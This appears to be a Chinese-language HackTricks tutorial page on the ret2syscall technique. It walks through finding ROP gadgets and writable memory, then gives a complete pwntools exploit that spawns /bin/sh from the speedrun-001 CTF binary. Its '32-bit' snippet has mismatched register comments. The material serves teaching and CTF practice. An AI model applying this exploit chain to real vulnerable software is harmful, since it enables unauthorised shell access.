mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
186 lines
5.9 KiB
Markdown
186 lines
5.9 KiB
Markdown
# Ret2syscall
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
## 基本信息
|
||
|
||
这与 Ret2lib 类似,但在这种情况下,我们不会调用库中的函数。在这种情况下,一切都将准备好调用 syscall `sys_execve`,并带有一些参数以执行 `/bin/sh`。这种技术通常在静态编译的二进制文件上执行,因此可能会有很多 gadgets 和 syscall 指令。
|
||
|
||
为了准备 **syscall** 的调用,需要以下配置:
|
||
|
||
- `rax: 59 指定 sys_execve`
|
||
- `rdi: 指向 "/bin/sh" 的指针,指定要执行的文件`
|
||
- `rsi: 0 指定不传递参数`
|
||
- `rdx: 0 指定不传递环境变量`
|
||
|
||
所以,基本上需要将字符串 `/bin/sh` 写入某个地方,然后执行 `syscall`(注意控制栈所需的填充)。为此,我们需要一个 gadget 来将 `/bin/sh` 写入已知区域。
|
||
|
||
> [!TIP]
|
||
> 另一个有趣的 syscall 是 **`mprotect`**,这将允许攻击者 **修改内存中页面的权限**。这可以与 [ret2shellcode](stack-shellcode.md) 结合使用。
|
||
|
||
## 寄存器 gadgets
|
||
|
||
让我们开始寻找 **如何控制这些寄存器**:
|
||
```c
|
||
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
||
0x0000000000415664 : pop rax ; ret
|
||
0x0000000000400686 : pop rdi ; ret
|
||
0x00000000004101f3 : pop rsi ; ret
|
||
0x00000000004498b5 : pop rdx ; ret
|
||
```
|
||
通过这些地址,可以**在堆栈中写入内容并将其加载到寄存器中**。
|
||
|
||
## 写字符串
|
||
|
||
### 可写内存
|
||
|
||
首先,您需要在内存中找到一个可写的位置。
|
||
```bash
|
||
gef> vmmap
|
||
[ Legend: Code | Heap | Stack ]
|
||
Start End Offset Perm Path
|
||
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
||
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
||
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
|
||
```
|
||
### 在内存中写入字符串
|
||
|
||
然后你需要找到一种方法在这个地址写入任意内容
|
||
```bash
|
||
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
||
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
||
```
|
||
### 自动化 ROP 链
|
||
|
||
以下命令在存在 write-what-where gadgets 和 syscall 指令时,给定一个静态二进制文件,创建一个完整的 `sys_execve` ROP 链:
|
||
```bash
|
||
ROPgadget --binary vuln --ropchain
|
||
```
|
||
#### 32 位
|
||
```python
|
||
'''
|
||
Lets write "/bin/sh" to 0x6b6000
|
||
|
||
pop rdx, 0x2f62696e2f736800
|
||
pop rax, 0x6b6000
|
||
mov qword ptr [rax], rdx
|
||
'''
|
||
|
||
rop += popRdx # place value into EAX
|
||
rop += "/bin" # 4 bytes at a time
|
||
rop += popRax # place value into edx
|
||
rop += p32(0x6b6000) # Writable memory
|
||
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
||
|
||
rop += popRdx
|
||
rop += "//sh"
|
||
rop += popRax
|
||
rop += p32(0x6b6000 + 4)
|
||
rop += writeGadget
|
||
```
|
||
#### 64 位
|
||
```python
|
||
'''
|
||
Lets write "/bin/sh" to 0x6b6000
|
||
|
||
pop rdx, 0x2f62696e2f736800
|
||
pop rax, 0x6b6000
|
||
mov qword ptr [rax], rdx
|
||
'''
|
||
rop = ''
|
||
rop += popRdx
|
||
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
|
||
rop += popRax
|
||
rop += p64(0x6b6000) # Writable memory
|
||
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
||
```
|
||
## 缺少 Gadget
|
||
|
||
如果你**缺少 gadgets**,例如在内存中写入`/bin/sh`,你可以使用**SROP 技术来控制所有寄存器值**(包括 RIP 和参数寄存器)从栈中:
|
||
|
||
{{#ref}}
|
||
srop-sigreturn-oriented-programming.md
|
||
{{#endref}}
|
||
|
||
在 vDSO 区域可能有 gadgets,该区域用于从用户模式切换到内核模式。在这些类型的挑战中,通常会提供一个内核映像以转储 vDSO 区域。
|
||
|
||
## 利用示例
|
||
```python
|
||
from pwn import *
|
||
|
||
target = process('./speedrun-001')
|
||
#gdb.attach(target, gdbscript = 'b *0x400bad')
|
||
|
||
# Establish our ROP Gadgets
|
||
popRax = p64(0x415664)
|
||
popRdi = p64(0x400686)
|
||
popRsi = p64(0x4101f3)
|
||
popRdx = p64(0x4498b5)
|
||
|
||
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
|
||
writeGadget = p64(0x48d251)
|
||
|
||
# Our syscall gadget
|
||
syscall = p64(0x40129c)
|
||
|
||
'''
|
||
Here is the assembly equivalent for these blocks
|
||
write "/bin/sh" to 0x6b6000
|
||
|
||
pop rdx, 0x2f62696e2f736800
|
||
pop rax, 0x6b6000
|
||
mov qword ptr [rax], rdx
|
||
'''
|
||
rop = ''
|
||
rop += popRdx
|
||
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
|
||
rop += popRax
|
||
rop += p64(0x6b6000)
|
||
rop += writeGadget
|
||
|
||
'''
|
||
Prep the four registers with their arguments, and make the syscall
|
||
|
||
pop rax, 0x3b
|
||
pop rdi, 0x6b6000
|
||
pop rsi, 0x0
|
||
pop rdx, 0x0
|
||
|
||
syscall
|
||
'''
|
||
|
||
rop += popRax
|
||
rop += p64(0x3b)
|
||
|
||
rop += popRdi
|
||
rop += p64(0x6b6000)
|
||
|
||
rop += popRsi
|
||
rop += p64(0)
|
||
rop += popRdx
|
||
rop += p64(0)
|
||
|
||
rop += syscall
|
||
|
||
|
||
# Add the padding to the saved return address
|
||
payload = "0"*0x408 + rop
|
||
|
||
# Send the payload, drop to an interactive shell to use our new shell
|
||
target.sendline(payload)
|
||
|
||
target.interactive()
|
||
```
|
||
## 其他示例与参考
|
||
|
||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
|
||
- 64 位,无 PIE,nx,在某些内存中写入 ROP 以调用 `execve` 并跳转到那里。
|
||
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
|
||
- 64 位,nx,无 PIE,在某些内存中写入 ROP 以调用 `execve` 并跳转到那里。为了在栈上写入一个执行数学运算的函数被滥用。
|
||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
|
||
- 64 位,无 PIE,nx,BF canary,在某些内存中写入 ROP 以调用 `execve` 并跳转到那里。
|
||
- [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/)
|
||
- 32 位,无 ASLR,使用 vDSO 查找 ROP gadgets 并调用 `execve`。
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|